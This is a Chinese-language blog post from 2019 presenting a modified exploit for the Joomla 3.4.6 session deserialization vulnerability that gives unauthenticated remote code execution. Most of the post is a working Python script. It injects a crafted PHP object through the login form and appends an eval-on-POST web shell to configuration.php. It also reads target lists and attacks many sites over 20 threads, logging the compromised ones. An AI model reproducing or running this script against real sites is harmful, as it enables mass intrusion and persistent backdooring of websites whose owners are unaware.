joomla 3.4.6反序列化漏洞利用

0x00 前言

joomla!是一套全球知名的内容管理系统,在此之前,joomla曾爆出过严重的反序列化漏洞CVE-2015-8562,当时,在3.4.6之后的版本中被修复。

Joomla会话作为PHP对象存储在数据库中,并由PHP会话函数处理。这是一个有趣的攻击媒介,因为会话也为未经身份验证的用户存储,因此在那里的对象注入会导致未经身份验证的RCE。此次影响的版本为3.0.0-3.4.6

0x01 漏洞利用

10月7号,关于joomla 3.4.6的反序列化漏洞poc被公布。

环境搭建,joomla 3.4.6下载地址https://downloads.joomla.org/it/cms/joomla3/3-4-6

我在原有脚本的基础上修改了一点进行简单利用,原版可参见https://cn.0day.today/exploit/33327

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored
import json
import Queue
import threading

PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}

cmd = 'boogle'

def print_info(str):
print(colored("[*] " + str,"cyan"))

def print_ok(str):
print(colored("[+] "+ str,"green"))

def print_error(str):
print(colored("[-] "+ str,"red"))

def print_warning(str):
print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html.parser')
# csrf token is the last input
for v in html.find_all('input'):
csrf = v
csrf = csrf.get('name')
return csrf


def get_error(url, cook):
resp = requests.get(url, cookies = cook, proxies = PROXS)
if 'Failed to decode session object' in resp.text:
#print(resp.text)
return False
#print(resp.text)
return True


def get_cook(url):
resp = requests.get(url, proxies=PROXS)
#print(resp.cookies)
return resp.cookies
def make_req(url , object_payload):
# just make a req with object
#print_info('Getting Session Cookie ..')
cook = get_cook(url)
#print_info('Getting CSRF Token ..')
csrf = get_token(url, cook)

user_payload = '\\0\\0\\0' * 9
padding = 'AAA' # It will land at this padding
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

inj_object = '";'
inj_object += object_payload
inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
password_payload = padding + inj_object

params = {
'username': user_payload,
'password': password_payload,
'option':'com_users',
'task':'user.login',
csrf :'1'
}

#print_info('Sending request ..')
resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)
return resp.text

def get_backdoor_pay():
# This payload will backdoor the the configuration .PHP with an eval on POST request
function = 'assert'
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'

payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + cmd +'\\\'])) eval($_POST[\\\''+cmd+'\\\']);\', FILE_APPEND) || $a=\'http://xxx\';'
#print(payload)
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final

def ping_backdoor(url,param_name):
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
if 'PWNED' in res.text:
return True
return False

def execute_backdoor(url, payload_code):
# Execute PHP code from the backdoor
res = requests.post(url + '/configuration.php', data={cmd:payload_code}, proxies = PROXS)
print(res.text)

def exploit(url):

target_url = url + '/index.php/component/users'
try:
make_req(target_url, get_backdoor_pay())
except:
print_warning('exploit error,no index.php/component/users')

try:
if ping_backdoor(url, cmd):
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + cmd)
file_write('joomla_vulu_site.txt',url+"\n")

else:
print_error(url +' is not vuluable')
except:
print_warning('ping_backdoor error')

class Bruter(object):
def __init__(self, urls,threads):

self.vb_urls = Queue.Queue()
self.threads = threads
for u in urls:
self.vb_urls.put(u[0])
#print self.vb_urls.get()
def vb5_rce(self):
with threading.Lock():
while self.vb_urls.qsize() > 0:

target = self.vb_urls.get()
if 'http' not in target:
target = 'http://'+target
exploit(target)

def run(self):
for i in range(self.threads):
print '[+] thread '+ str(i)
t = threading.Thread(target=self.vb5_rce)
t.start()
def get_url():
with open('joomla.txt','r') as f:
r = json.loads(f.read())
urls = r['results']
return urls

def file_write(name,results):
with open(name,mode='a') as file:
file.write(results)

if __name__ == '__main__':
urls = get_url()
vb5_rce = Bruter(urls=urls,threads=20)
vb5_rce.run()

利用成功后将在配置文件configuration.php中写入一句话

然后便可以进一步的利用

至此简单利用成功,后面有时间的话,继续对漏洞产生原因出一篇分析文章。

0x02 参考链接

https://cn.0day.today/exploit/33327

https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41

本文标题:joomla 3.4.6反序列化漏洞利用

文章作者:boogle

发布时间:2019年10月09日 - 16:58

最后更新:2019年10月09日 - 17:05

原始链接:https://zhengbao.wang/joomla3-4-6反序列化漏洞利用/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗